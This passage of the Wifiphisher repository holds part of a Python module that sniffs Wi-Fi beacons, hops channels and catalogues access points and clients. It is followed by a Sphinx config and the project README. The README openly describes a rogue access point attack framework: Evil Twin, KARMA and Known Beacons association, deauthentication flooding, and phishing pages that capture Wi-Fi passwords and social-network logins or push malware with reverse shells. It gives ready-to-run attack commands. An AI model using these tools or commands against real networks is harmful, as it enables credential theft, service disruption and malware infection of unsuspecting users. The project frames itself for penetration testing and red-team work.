
        Access points which are malformed or not in 2G channel list are
        excluded.
        """
        elt_section = packet[dot11.Dot11Elt]
        try:
            channel = str(ord(packet[dot11.Dot11Elt][2].info))
            if int(channel) not in universal.ALL_2G_CHANNELS:
                return
        except (TypeError, IndexError):
            return

        mac_address = packet.addr3
        name = None
        encryption_type = None
        non_decodable_name = "<contains non-printable chars>"

        # find the signal strength
        rssi = get_rssi(packet.notdecoded)
        new_signal_strength = calculate_signal_strength(rssi)

        # get the name of the access point
        # if the name is no utf8 compatible use pre set name
        try:
            name = elt_section.info.decode("utf8")
        except UnicodeDecodeError:
            name = non_decodable_name

        # just update signal strength in case of discovered
        # access point
        for access_point in self.observed_access_points:
            if mac_address == access_point.mac_address:
                # find the current and calculate the difference
                current_signal_strength = access_point.signal_strength
                signal_difference = new_signal_strength - current_signal_strength

                # update signal strength if difference is greater than 5
                if signal_difference > 5:
                    access_point.signal_strength = new_signal_strength

                return None

        # get encryption type
        encryption_type = find_encryption_type(packet)

        # with all the information gathered create and add the
        # access point
        access_point = AccessPoint(
            name,
            mac_address,
            channel,
            encryption_type,
            capture_file=self._capture_file)
        access_point.signal_strength = new_signal_strength
        self.observed_access_points.append(access_point)

    def _sniff_packets(self):
        # type: () -> None
        """Sniff packets one at a time until otherwise set."""
        while self._should_continue:
            dot11.sniff(
                iface=self._interface,
                prn=self._process_packets,
                count=1,
                store=0)

    def capture_aps(self):
        """Create Lure10 capture file."""
        self._capture_file = "{LOCS_DIR}area_{time}".format(
            LOCS_DIR=LOCS_DIR, time=strftime("%Y%m%d_%H%M%S"))
        LOGGER.info("Create lure10-capture file %s", self._capture_file)

    def find_all_access_points(self):
        # type: () -> None
        """Find all the visible and hidden access points."""
        self._sniff_packets_thread.start()
        self._channel_hop_thread.start()

    def stop_finding_access_points(self):
        # type: () -> None
        """Stop looking for access points."""
        self._should_continue = False
        wait_time = 10
        self._channel_hop_thread.join(wait_time)
        self._sniff_packets_thread.join(wait_time)

    def _channel_hop(self):
        # type: () -> None
        """Change the interface's channel every three seconds.

        .. note: The channel range is between 1 to 13
        """
        # if the stop flag not set, change the channel
        while self._should_continue:
            for channel in universal.ALL_2G_CHANNELS:
                # added this check to reduce shutdown time
                if self._should_continue:
                    self._network_manager.set_interface_channel(
                        self._interface, channel)
                    sleep(3)
                else:
                    break

    def _find_clients(self, packet):
        # type: (scapy.layers.RadioTap) -> None
        """Find and add if a client is discovered."""
        # find sender and receiver
        receiver = packet.addr1
        sender = packet.addr2

        # only continue if both addresses are available
        if sender and receiver:
            # find sender and receiver first half of MAC address
            receiver_identifier = receiver[:8]
            sender_identifier = sender[:8]

        else:
            return None

        # if a valid address is provided
        if (receiver_identifier,
                sender_identifier) not in NON_CLIENT_ADDRESSES:

            # if discovered access point is either sending or receving
            # add client if it's mac address is not in the MAC filter
            for access_point in self.observed_access_points:
                # get the access point MAC address
                access_point_mac = access_point.mac_address

                # in case access point is the reciever
                # add sender as client
                if access_point_mac == receiver:
                    access_point.add_client(sender)

                # in case access point is the sender add reciever
                # as client
                elif access_point_mac == sender:
                    access_point.add_client(receiver)

    def get_sorted_access_points(self):
        """Return all access points sorted based on signal strength."""
        return sorted(
            self.observed_access_points,
            key=lambda ap: ap.signal_strength,
            reverse=True)


def get_rssi(non_decoded_packet):
    # type: (scapy.layers.RadioTap) -> int
    """Return the rssi value of the packet."""
    try:
        return -(256 - max(
            ord(non_decoded_packet[-4:-3]), ord(non_decoded_packet[-2:-1])))
    except TypeError:
        return -100


def calculate_signal_strength(rssi):
    # type: (int) -> int
    """Calculate the signal strength of access point."""
    signal_strength = 0
    if rssi >= -50:
        signal_strength = 100
    else:
        signal_strength = 2 * (rssi + 100)

    return signal_strength


def find_encryption_type(packet):
    # type: (scapy.layers.RadioTap) -> str
    """Return the encryption type of the access point.

    .. note: Possible return values are WPA2, WPA, WEP, OPEN,
        WPA2/WPS and WPA/WPS
    """
    encryption_info = packet.sprintf("%Dot11Beacon.cap%")
    elt_section = packet[dot11.Dot11Elt]
    encryption_type = None
    found_wps = False

    # extract information from packet
    try:
        while (isinstance(elt_section, dot11.Dot11Elt)
               or (not encryption_type and not found_wps)):
            # check if encryption type is WPA2
            if elt_section.ID == 48:
                encryption_type = "WPA2"

            # check if encryption type is WPA
            elif (elt_section.ID == 221
                  and elt_section.info.startswith(b"\x00P\xf2\x01\x01\x00")):
                encryption_type = "WPA"
            # check if WPS IE exists
            if (elt_section.ID == 221
                    and elt_section.info.startswith(b"\x00P\xf2\x04")):
                found_wps = True

            # break down the packet
            elt_section = elt_section.payload

            # check to see if encryption type is either WEP or OPEN
            if not encryption_type:
                if "privacy" in encryption_info:
                    encryption_type = "WEP"
                else:
                    encryption_type = "OPEN"
    # Fixes #1146, #1155
    except AttributeError:
        pass

    if encryption_type != "WEP" and found_wps:
        encryption_type += "/WPS"

    return encryption_type



File: docs/conf.py

# -*- coding: utf-8 -*-
#
# Configuration file for the Sphinx documentation builder.
#
# This file does only contain a selection of the most common options. For a
# full list see the documentation:
# http://www.sphinx-doc.org/en/stable/config

# -- Path setup --------------------------------------------------------------

# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
#
# import os
# import sys
# sys.path.insert(0, os.path.abspath('.'))


# -- Project information -----------------------------------------------------

project = 'Wifiphisher'
copyright = '2019, George Chatzisofroniou'
author = 'George Chatzisofroniou'

# The short X.Y version
version = ''
# The full version, including alpha/beta/rc tags
release = '1.4'


# -- General configuration ---------------------------------------------------

# If your documentation needs a minimal Sphinx version, state it here.
#
# needs_sphinx = '1.0'

# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
# ones.
extensions = [
    'sphinx.ext.viewcode',
]

# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']

# The suffix(es) of source filenames.
# You can specify multiple suffix as a list of string:
#
# source_suffix = ['.rst', '.md']
source_suffix = '.rst'

# The master toctree document.
master_doc = 'index'

# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#
# This is also used if you do content translation via gettext catalogs.
# Usually you set "language" from the command line for these cases.
language = None

# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
# This pattern also affects html_static_path and html_extra_path .
exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store']

# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'


# -- Options for HTML output -------------------------------------------------

# The theme to use for HTML and HTML Help pages.  See the documentation for
# a list of builtin themes.
#
html_theme = 'sphinx_rtd_theme'
#html_theme = 'alabaster'

# Theme options are theme-specific and customize the look and feel of a theme
# further.  For a list of options available for each theme, see the
# documentation.
#
# html_theme_options = {}

# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']

# Custom sidebar templates, must be a dictionary that maps document names
# to template names.
#
# The default sidebars (for documents that don't match any pattern) are
# defined by theme itself.  Builtin themes are using these templates by
# default: ``['localtoc.html', 'relations.html', 'sourcelink.html',
# 'searchbox.html']``.
#
# html_sidebars = {}


# -- Options for HTMLHelp output ---------------------------------------------

# Output file base name for HTML help builder.
htmlhelp_basename = 'Wifiphisherdoc'


# -- Options for LaTeX output ------------------------------------------------

latex_elements = {
    # The paper size ('letterpaper' or 'a4paper').
    #
    # 'papersize': 'letterpaper',

    # The font size ('10pt', '11pt' or '12pt').
    #
    # 'pointsize': '10pt',

    # Additional stuff for the LaTeX preamble.
    #
    # 'preamble': '',

    # Latex figure (float) alignment
    #
    # 'figure_align': 'htbp',
}

# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title,
#  author, documentclass [howto, manual, or own class]).
latex_documents = [
    (master_doc, 'Wifiphisher.tex', 'Wifiphisher Documentation',
     'George Chatzisofroniou', 'manual'),
]


# -- Options for manual page output ------------------------------------------

# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [
    (master_doc, 'wifiphisher', 'Wifiphisher Documentation',
     [author], 1)
]


# -- Options for Texinfo output ----------------------------------------------

# Grouping the document tree into Texinfo files. List of tuples
# (source start file, target name, title, author,
#  dir menu entry, description, category)
texinfo_documents = [
    (master_doc, 'Wifiphisher', 'Wifiphisher Documentation',
     author, 'Wifiphisher', 'One line description of project.',
     'Miscellaneous'),
]


# -- Extension configuration -------------------------------------------------



[![Build Status](https://travis-ci.org/wifiphisher/wifiphisher.svg?branch=master)](https://travis-ci.org/wifiphisher/wifiphisher)
[![Documentation Status](https://readthedocs.org/projects/wifiphisher/badge/?version=latest)](http://wifiphisher.readthedocs.io/en/latest/?badge=latest)
![Python Version](https://img.shields.io/badge/python-3.7-blue.svg)
![License](https://img.shields.io/badge/license-GPL-blue.svg)

<p align="center"><img src="https://wifiphisher.github.io/wifiphisher/wifiphisher.png" /></p>

## About
<a href="https://wifiphisher.org">Wifiphisher</a> is a rogue Access Point framework for conducting red team engagements or Wi-Fi security testing. Using Wifiphisher, penetration testers can easily achieve a man-in-the-middle position against wireless clients by performing targeted Wi-Fi association attacks. Wifiphisher can be further used to mount victim-customized web phishing attacks against the connected clients in order to capture credentials (e.g. from third party login pages or WPA/WPA2 Pre-Shared Keys) or infect the victim stations with malwares.

Wifiphisher is...

* ...powerful. Wifiphisher can run for hours inside a Raspberry Pi device
executing all modern Wi-Fi association techniques (including "Evil Twin", "KARMA" and "Known Beacons").  

* ...flexible. Supports dozens of arguments and comes with a set of
community-driven phishing templates for different deployment scenarios.  

* ...modular. Users can <a href="http://wifiphisher.readthedocs.io/en/latest/extensions.html">write simple or complicated modules</a> in Python to expand the functionality of the tool or <a href="http://wifiphisher.readthedocs.io/en/latest/custom_phishing_scenario.html">create custom phishing scenarios</a> in order to conduct specific target-oriented attacks. 

* ...easy to use. Advanced users can utilize the rich set of features that Wifiphisher offers but beginners may start out as simply as "./bin/wifiphisher". The interactive Textual User Interface guides the tester through the build process of the attack. 

* ...the result of an extensive research. Attacks like "Known Beacons" and "Lure10" as well as state-of-the-art phishing techniques, were disclosed by our developers, and Wifiphisher was the first tool to incorporate them. 

* ...supported by an awesome community of developers and users.

* ...free. Wifiphisher is available for free download, and also comes with full
source code that you may study, change, or distribute under the terms of the 
GPLv3 license.

## Sponsors 

Wifiphisher is free (as in speech, and as in beer) and will always be. Continuous development of the project would not be possible without our sponsors and supporters:

<a href="https://www.tines.com/?utm_source=oss&utm_medium=sponsorship&utm_campaign=wifiphisher"><p align="center"><a href="https://www.tines.com/?utm_source=oss&utm_medium=sponsorship&utm_campaign=wifiphisher"><img src="https://wifiphisher.github.io/wifiphisher/tines_logo.png" /></a></p></a>

## How it works

Wi-Fi phishing consists of two steps:

1. The first step involves the process of associating with Wi-Fi clients
unknowingly, or in other words, obtaining a man-in-the-middle (MITM) position. Wifiphisher uses a number of different techniques to achieve this including:
    * Evil Twin, where Wifiphisher creates a fake wireless network that looks similar to a legitimate network.
    * KARMA, where Wifiphisher masquerades as a public network searched for by nearby Wi-Fi clients.
    * Known Beacons, where Wifiphisher broadcasts a dictionary of common ESSIDs, that the around wireless stations have likely connected to in the past.

    At the same time, Wifiphisher keeps forging “Deauthenticate” or “Disassociate” packets to disrupt existing associations and eventually lure victims using the above techniques.

<p align="center"><img width="70%" src="https://wifiphisher.github.io/wifiphisher/diagram.jpg" /><br /><i>Performing MiTM attack</i></p>

2. (Optionally) There are a number of different attacks that can be carried out 
once Wifiphisher grants the penetration tester with a man-in-the-middle
position. For example, the tester may perform data sniffing or scan the victim stations for vulnerabilities. 

    Using Wifiphisher, advanced web phishing techniques are possible by gathering
information from the target environment and victim user. For example, in one of
our scenarios, Wifiphisher will extract information from the broadcasted beacon
frames and the HTTP User-Agent header to display a web-based imitation of
Windows network manager in order to capture the Pre-Shared Key.

<p align="center"><img src="https://wifiphisher.github.io/wifiphisher/ss-webphishing.png" /><br /><i>Fake <a href="https://wifiphisher.org/ps/wifi_connect/">web-based network manager</a></i></p>

## Requirements
Following are the requirements for getting the most out of Wifiphisher:

  - A working Linux system. People have made Wifiphisher work on many distros, but Kali Linux is the officially supported distribution, thus all new features are primarily tested on this platform.
  - One wireless network adapter that supports AP & Monitor mode and is capable of injection. Drivers should support netlink.

## Installation

To install the latest development version type the following commands:

```bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
```

Alternatively, you can download the latest stable version from the <a href="https://github.com/wifiphisher/wifiphisher/releases">Releases page</a>.

## Usage

Run the tool by typing `wifiphisher` or `python bin/wifiphisher` (from inside the tool's directory).

By running the tool without any options, it will find the right interfaces and interactively ask the user to pick the ESSID of the target network (out of a list with all the ESSIDs in the around area) as well as a phishing scenario to perform. By default, the tool will perform both Evil Twin and KARMA attacks.

***

```shell
wifiphisher -aI wlan0 -jI wlan4 -p firmware-upgrade --handshake-capture handshake.pcap
```

Use wlan0 for spawning the rogue Access Point and wlan4 for DoS attacks. Select the target network manually from the list and perform the "Firmware Upgrade" scenario. Verify that the captured Pre-Shared Key is correct by checking it against the handshake in the handshake.pcap file.

Useful for manually selecting the wireless adapters. The <a href="https://wifiphisher.org/ps/firmware-upgrade/">"Firmware Upgrade"</a> scenario is an easy way for obtaining the PSK from a password-protected network.

***

```shell
wifiphisher --essid CONFERENCE_WIFI -p plugin_update -pK s3cr3tp4ssw0rd
```

Automatically pick the right interfaces. Target the Wi-Fi with ESSID "CONFERENCE_WIFI" and perform the "Plugin Update" scenario. The Evil Twin will be password-protected with PSK "s3cr3tp4ssw0rd".

Useful against networks with disclosed PSKs (e.g. in conferences). The <a href="https://wifiphisher.org/ps/plugin_update/">"Plugin Update"</a> scenario provides an easy way for getting the victims to download malicious executables (e.g. malwares containing a reverse shell payload).

***

```shell
wifiphisher --essid "FREE WI-FI" -p oauth-login -kB
```

Simply spawn an open Wi-Fi network with ESSID "FREE WI-FI" and perform the "OAuth Login" scenario. Furthermore, mount the "Known Beacons" Wi-Fi automatic association technique.

Useful against victims in public areas. The <a href="https://wifiphisher.org/ps/oauth-login/">"OAuth Login"</a> scenario provides a simple way for capturing credentials from social networks, like Facebook. 


Following are all the options along with their descriptions (also available with `wifiphisher -h`):

| Short form | Long form | Explanation |
| :----------: | :---------: | :-----------: |
|-h | --help| show this help message and exit |
|-i INTERFACE| --interface INTERFACE| Manually choose an interface that supports both AP and monitor modes for spawning the rogue AP as well as mounting additional Wi-Fi attacks from Extensions (i.e. deauth). Example: -i wlan1 |
|-eI EXTENSIONSINTERFACE| --extensionsinterface EXTENSIONSINTERFACE|	Manually choose an interface that supports monitor mode for running the extensions. Example: -eI wlan1|
|-aI APINTERFACE| --apinterface APINTERFACE|	Manually choose an interface that supports AP mode for spawning an AP. Example: -aI wlan0|
|-pI INTERFACE| --protectinterface INTERFACE| Specify one or more interfaces that will have their connection protected from being managed by NetworkManager.|
|-kN| --keepnetworkmanager| Do not kill NetworkManager.|
|-nE| --noextensions|	Do not load any extensions.|
|-e ESSID| --essid ESSID|	Enter the ESSID of the rogue Access Point. This option will skip Access Point selection phase. Example: --essid 'Free WiFi'|
|-pPD PHISHING_PAGES_DIRECTORY|--phishing-pages-directory PHISHING_PAGES_DIRECTORY| Search for phishing pages in this location|
|-p PHISHINGSCENARIO| --phishingscenario PHISHINGSCENARIO	|Choose the phishing scenario to run.This option will skip the scenario selection phase. Example: -p firmware_upgrade|
|-pK PRESHAREDKEY| --presharedkey PRESHAREDKEY|	Add WPA/WPA2 protection on the rogue Access Point. Example: -pK s3cr3tp4ssw0rd|
|-qS| --quitonsuccess|	Stop the script after successfully retrieving one pair of credentials.|
|-lC| --lure10-capture| Capture the BSSIDs of the APs that are discovered during AP selection phase. This option is part of Lure10 attack.
|-lE LURE10_EXPLOIT |--lure10-exploit LURE10_EXPLOIT| Fool the Windows Location Service of nearby Windows users to believe it is within an area that was previously captured with --lure10-capture. Part of the Lure10 attack.|
|-iAM| --mac-ap-interface| Specify the MAC address of the AP interface. Example: -iAM 38:EC:11:00:00:00|
|-iEM| --mac-extensions-interface| Specify the MAC address of the extensions interface. Example: -iEM E8:2A:EA:00:00:00|
|-iNM| --no-mac-randomization| Do not change any MAC address.|
|-hC|--handshake-capture|Capture of the WPA/WPA2 handshakes for verifying passphrase. Requires cowpatty. Example: -hC capture.pcap|
|-dE ESSID|--deauth-essid ESSID|Deauth all the BSSIDs in the WLAN with that ESSID.|
|-dC CHANNELS| --deauth-channels CHANNELS|Channels to deauth. Example: --deauth-channels 1,3,7|
||--logging| Enable logging. Output will be saved to wifiphisher.log file.|
|-lP LOGPATH| --logpath LOGPATH| Determine the full path of the logfile.|
|-cP CREDENTIAL_LOG_PATH|--credential-log-path CREDENTIAL_LOG_PATH|Determine the full path of the file that will store any captured credentials|
|-cM|--channel-monitor|Monitor if the target access point changes the channel.|
||--payload-path| Enable the payload path. Intended for use with scenarios that serve payloads.|
|-wP|--wps-pbc|Monitor if the button on a WPS-PBC Registrar side is pressed.|
|-wAI|--wpspbc-assoc-interface|The WLAN interface used for associating to the WPS AccessPoint.|
|-kB|--known-beacons|Perform the known beacons Wi-Fi automatic association technique.|
|-fH|--force-hostapd|Force the usage of hostapd installed in the system.|
||--dnsmasq-conf DNSMASQ_CONF|Determine the full path of dnmasq.conf file.|
|-dK|--disable-karma|Disables KARMA attack.|
|-pE|--phishing-essid|Determine the ESSID you want to use for the phishing page.|


## Screenshots

<p align="center"><img src="https://wifiphisher.github.io/wifiphisher/ss5.png" /><br /><i>Targeting an access point</i></p>
<p align="center"><img src="https://wifiphisher.github.io/wifiphisher/ss2.png" /><br /><i>A successful attack</i></p>
<p align="center"><img src="https://wifiphisher.github.io/wifiphisher/ss7.png" /><br /><i>Fake <a href="https://wifiphisher.org/ps/firmware-upgrade/">router configuration page</a></i></p>
<p align="center"><img src="https://wifiphisher.github.io/wifiphisher/ss6.png" /><br /><i>Fake <a href="https://wifiphisher.org/ps/oauth-login/">OAuth Login Page</a></i></p>
<p align="center"><img src="https://wifiphisher.github.io/wifiphisher/ss4.png" /><br /><i>Fake <a href="https://wifiphisher.org/ps/wifi_connect/">web-based network manager</a></i></p>


## Help needed
If you are a Python developer or a web designer you can help us improve Wifiphisher. Feel free to take a look at the <a href="https://github.com/wifiphisher/wifiphisher/issues">bug tracker</a> for some tasks to do.

If you don't know how to code, you can help us by <a href="https://github.com/wifiphisher/wifiphisher/issues">proposing improvements or reporting bugs</a>. Please have a look at the Bug Reporting Guidelines and the <a href="https://wifiphisher.readthedocs.io/en/latest/faq.html">FAQ document</a> beforehand.  Note that the tool does not aim to be script-kiddie friendly. Make sure you do understand how the tool works before opening an issue.

## Credits
The script is based on an idea from <a
href="https://github.com/DanMcInerney">Dan McInerney</a> back in 2015.

A full list of contributors lies <a href="https://github.com/wifiphisher/wifiphisher/graphs/contributors">here</a>.

## License
Wifiphisher is licensed under the GPLv3 license. See [LICENSE](LICENSE) for more information.

## Project Status
Wifiphisher's current version is **1.4**. You can download the latest release from <a href="https://github.com/wifiphisher/wifiphisher/releases/tag/v1.4">here</a>. Otherwise you can get the latest development version by cloning this repository.

## Disclaimer
* Usage of Wifiphisher for attacking infrastructures without prior mutual consistency can be considered as an illegal activity. It is the final user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program.

<b>Note</b>: Be aware of sites pretending to be related with the Wifiphisher Project. They may be delivering malware.

For Wifiphisher news, follow us on <a href="https://www.twitter.com/wifiphisher">Twitter</a> or like us on <a href="https://www.facebook.com/Wifiphisher-129914317622032/">Facebook</a>.
